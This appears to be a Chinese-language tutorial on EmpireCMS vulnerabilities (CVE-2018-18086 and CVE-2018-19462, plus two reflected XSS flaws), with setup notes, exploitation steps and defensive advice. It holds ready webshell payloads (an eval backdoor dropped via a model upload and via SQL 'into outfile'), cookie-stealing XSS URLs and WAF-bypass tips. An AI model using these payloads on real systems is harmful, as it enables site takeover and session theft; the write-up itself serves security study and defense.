empirecms漏洞总结
字数 1374 2025-08-05 08:19:06
EmpireCMS漏洞分析与利用教学文档
一、环境搭建
- 安装路径:默认安装路径为
http://localhost/e/install - 数据库配置:
- MySQL版本可选择自动识别或手动选择
- 本地数据库填写
localhost或127.0.0.1
- 远程数据库连接:
- 注释掉
/etc/mysql/my.conf中的bind-address = 127.0.0.1 - 创建远程用户:
grant all on *.* to admin@'%' identified by '123456' with grant option; flush privileges;
- 注释掉
- 安装完成后的安全措施:
- 安装完成后会自动生成
.off文件防止重复安装 - 如需重新安装需删除
.off文件
- 安装完成后会自动生成
二、漏洞分析及利用
1. 后台getshell漏洞(CVE-2018-18086)
漏洞原理:
- EmpireCMS 7.5及之前版本在后台备份数据库时未对数据库表名做验证
/e/class/moddofun.php文件的LoadInMod函数存在安全漏洞
关键代码分析:
// 上传文件处理
$path=ECMS_PATH."e/data/tmp/mod/uploadm".time().make_password(10).".php";
$cp=@move_uploaded_file($file,$path);
@include($path); // 直接包含上传的文件
利用步骤:
- 准备恶意文件
1.php.mod,内容为:<?php file_put_contents("getshell.php", "<?php @eval(\$_POST[cmd]); ?>"); ?> - 进入后台"导入系统模型"页面
- 上传修改后的文件,填写不存在的表名
- 访问生成的
getshell.php文件 - 使用蚁剑连接
绕过技巧:
- 遇到WAF拦截时使用base64编码器
- 不能使用冰蝎、哥斯拉马,需在
$前加\转义
2. 代码注入漏洞(CVE-2018-19462)
漏洞原理:
/e/admin/db/DoSql.php文件存在代码注入漏洞- 未对SQL语句进行充分过滤
关键代码分析:
// 执行SQL语句
$query=RepSqlTbpre($r['sqltext']);
DoRunQuery($query);
利用步骤:
- 通过phpinfo获取网站绝对路径
- 使用SQL语句写入webshell:
select '<?php @eval($_POST[LEOGG])?>' into outfile 'C:/phpStudy/PHPTutorial/WWW/EmpireCMS/e/admin/Get.php' - 访问生成的webshell文件
- 使用蚁剑连接
限制条件:
- MySQL配置
secure_file_priv必须为空或指向可写目录 - 若为NULL则无法利用此漏洞
3. 后台XSS漏洞
漏洞原理:
/e/admin/openpage/AdminPage.php存在反射型XSS- 只使用
htmlspecialchars进行过滤,但输出在iframe标签的src属性中
利用方式:
http://target/e/admin/openpage/AdminPage.php?ehash_xxx=xxx&mainfile=javascript:alert(/xss/)
其中ehash值可从登录页面获取
获取cookie:
http://target/e/admin/openpage/AdminPage.php?ehash_xxx=xxx&mainfile=javascript:alert(document.cookie)
4. 前台XSS漏洞
漏洞原理:
/e/ViewImg/index.html存在反射型XSS- URL参数直接拼接为a标签和img标签的属性值
利用方式:
http://target/e/ViewImg/index.html?url=javascript:alert(document.cookie)
三、防御建议
-
针对getshell漏洞:
- 更新到最新版本
- 对上传文件进行严格过滤
- 禁用危险函数如
include包含用户可控文件
-
针对SQL注入:
- 设置MySQL的
secure_file_priv为特定目录或NULL - 对SQL语句执行进行严格权限控制
- 设置MySQL的
-
针对XSS漏洞:
- 对所有输出进行HTML实体编码
- 对iframe的src属性进行严格过滤
- 实现CSRF防护机制
-
通用防护:
- 定期更新CMS系统
- 最小化后台功能权限
- 部署WAF防护
四、实战技巧
-
绕过WAF:
- 使用编码传输
- 添加测试语句如
echo 123进行调试
-
路径获取:
- 通过phpinfo获取绝对路径
- 搜索
DOCUMENT_ROOT确定网站根目录
-
连接测试:
- 分步测试各环节是否正常
- 使用简单语句测试执行环境
本教学文档详细分析了EmpireCMS的多处安全漏洞及其利用方法,仅供安全研究和防御参考,请勿用于非法用途。